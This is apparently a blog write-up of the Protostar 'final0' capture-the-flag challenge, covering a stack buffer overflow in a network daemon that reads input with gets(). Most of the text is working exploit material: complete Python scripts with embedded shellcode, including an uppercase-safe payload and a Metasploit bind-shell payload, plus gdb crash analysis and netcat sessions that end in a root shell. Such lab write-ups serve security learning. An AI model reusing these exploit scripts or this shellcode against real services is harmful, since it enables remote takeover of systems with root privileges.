We start with the following code being given to us:
#include "../common/common.c" #define NAME "final0" #define UID 0 #define GID 0 #define PORT 2995 /* * Read the username in from the network */ char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); username = get_username(); printf("No such user %s\n", username); }This is a somewhat standard buffer overflow. The buffer is 512 bytes long, but safe checks aren't done to make sure it doesn't go past that size. I tried using the Metasploit Framework's pattern_create.rb, however, due to the fact that the buffer is having a "toupper()" done on it, it won't find it. I had to do it manually, by just splitting an array into "a" and "b" segments, and adjusting the sizes each time. I found that the offset was at 532 bytes with the following code:
#!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 2995)) s.send("a"*532 + "b"*8)When I ran it, I was able to verify that I was correct.
root@protostar:/home/user# ./532.py root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14765 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x62626262 in ?? ()Next, I had to inject shellcode into the buffer, and find the address to return to.
(gdb) x/10s $esp-550 0xbffffaaa: "" 0xbffffaab: "" 0xbffffaac: "\211\005" 0xbffffaaf: "" 0xbffffab0: "\224\310\351\267\020ii\r", 'A'From this, we can see that the final buffer, after the "toupper()" and "strdup()" is located at 0xbffffab8. We now have the option of putting the shellcode before or after the return address.... 0xbffffb78: 'A' ... 0xbffffc40: 'A' 0xbffffcb9: "" 0xbffffcba: "" 0xbffffcbb: "" (gdb) x/10s 0xbffffab0+8 0xbffffab8: 'A' ... 0xbffffb80: 'A' ... 0xbffffc48: 'A' 0xbffffcb9: "" 0xbffffcba: "" 0xbffffcbb: "" 0xbffffcbc: "" 0xbffffcbd: "\002" 0xbffffcbf: "" 0xbffffcc0: 'a' , "bbbbbbbb"
Before
I setup a quick python script to use the offset of 532 bytes, added a little bit of a nop sled and shellcode. Since the code uses a "toupper()", the shellcode can't contain any lowercase letters. I luckily was able to find some shellcode that suits this scenario perfectly here.#!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 2995)) offset = 532 ret = "\xEF\xBE\xAD\xDE" nop = "\x90"*16 shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \ "\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \ "\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \ "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \ "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \ "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \ "BLAALMNIA" junk = "a"*(offset-len(nop)-len(shellcode)) s.send(nop + shellcode + junk + ret)After running that script, I was able to debug the dump file. This allowed me to get the address to return to, containing the nop sled and shellcode.
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14816 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) x/10x 0xbffffabf 0xbffffabf: 0x90909090 0x90909090 0xeb02eb90 0xfff9e805 0xbffffacf: 0x815fffff 0xffffdfef 0x295e57ff 0xb8c180c9 0xbffffadf: 0x412c078a 0x4704e0c0Given this information, it should be pretty safe to use 0xbffffabf as a return address. The final script would be:
#!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 2995)) offset = 532 ret = "\xbf\xfa\xff\xbf" #0xbffffabf nop = "\x90"*16 #http://www.exploit-db.com/exploits/13427/ shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \ "\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \ "\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \ "DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \ "AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \ "JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \ "BLAALMNIA" junk = "a"*(offset-len(nop)-len(shellcode)) s.send(nop + shellcode + junk + ret)I then ran this script:
root@protostar:/home/user# ./final0_before.pyThe shellcode said that it would bind a shell to port 5074, so I used netcat to connect.
root@protostar:/home/user# nc localhost 5074 whoami root id uid=0(root) gid=0(root) groups=0(root)That's root access from the network. Challenge complete.
After
When putting the shellcode after the return address, we don't have to worry about the "toupper()" function. I simply used the Metasploit Framework's msfpayload and msfencode functions to generate a basic bind shell.mandreko@li225-134:~$ msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c [*] x86/shikata_ga_nai succeeded with size 105 (iteration=1) unsigned char buf[] = "\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1" "\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72" "\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c" "\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98" "\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13" "\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe" "\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f";I used this shellcode after the return, to generate a basic script:
#!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 2995)) offset = 532 ret = "\xEF\xBE\xAD\xDE" nop = "\x90"*16 junk = "a"*(offset-len(nop)) junk2 = "\x90" * 12 shellcode = "\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1" \ "\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72" \ "\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c" \ "\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98" \ "\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13" \ "\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe" \ "\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f" s.send(nop + junk + ret + junk2 + shellcode)This script is pretty simple, just getting to the return address, and then adding a nop sled, and the shellcode afterwards. It just needs to have a return address to the shellcode, which we can then find using gdb.
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.14867 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) x/10x 0xbffffcd0 0xbffffcd0: 0x90909090 0x90909090 0x90909090 0x74d9cedb 0xbffffce0: 0xa3bbf424 0x586912c2 0x14b1c92b 0x03195831 0xbffffcf0: 0xe8831958 0x233741fcIt looks safe to use 0xbffffcd0, the start of the nop sled.
The final script ends up looking like:
#!/usr/bin/python from socket import * from struct import * s = socket(AF_INET, SOCK_STREAM) s.connect(("localhost", 2995)) offset = 532 ret = "\xd0\xfc\xff\xbf" #0xbffffcd0 junk = "a"*offset nop = "\x90" * 12 #msfpayload linux/x86/shell_bind_tcp R | msfencode -b '\x00\xff\x0d\x0a' -e x86/shikata_ga_nai -t c shellcode = "\xdb\xce\xd9\x74\x24\xf4\xbb\xa3\xc2\x12\x69\x58\x2b\xc9\xb1" \ "\x14\x31\x58\x19\x03\x58\x19\x83\xe8\xfc\x41\x37\x23\xb2\x72" \ "\x5b\x17\x07\x2f\xf6\x9a\x0e\x2e\xb6\xfd\xdd\x30\xec\x5f\x8c" \ "\x58\xec\x62\x21\xc4\x78\x73\x10\xa4\xf5\x92\xf8\x22\x5e\x98" \ "\x7d\x23\x1f\x26\xcd\x37\x10\x40\xfc\xb7\x13\x3d\x98\x7a\x13" \ "\xae\x3c\xee\x2b\x89\x73\x6e\x1a\x50\x74\x06\xb2\x8d\xf7\xbe" \ "\xa4\xfe\x95\x57\x5b\x88\xb9\xf7\xf0\x03\xdc\x47\xfd\xde\x9f" s.send(junk + ret + nop + shellcode)I then ran it.
root@protostar:/home/user# ./final0_after.pyAnd lastly, just like in the other example, I connected to the bind shell. Since I didn't configure a port number in the msfpayload, the default port number is 4444.
root@protostar:/home/user# nc localhost 4444 whoami root id uid=0(root) gid=0(root) groups=0(root)There's root access. Challenge complete.
No comments:
Post a Comment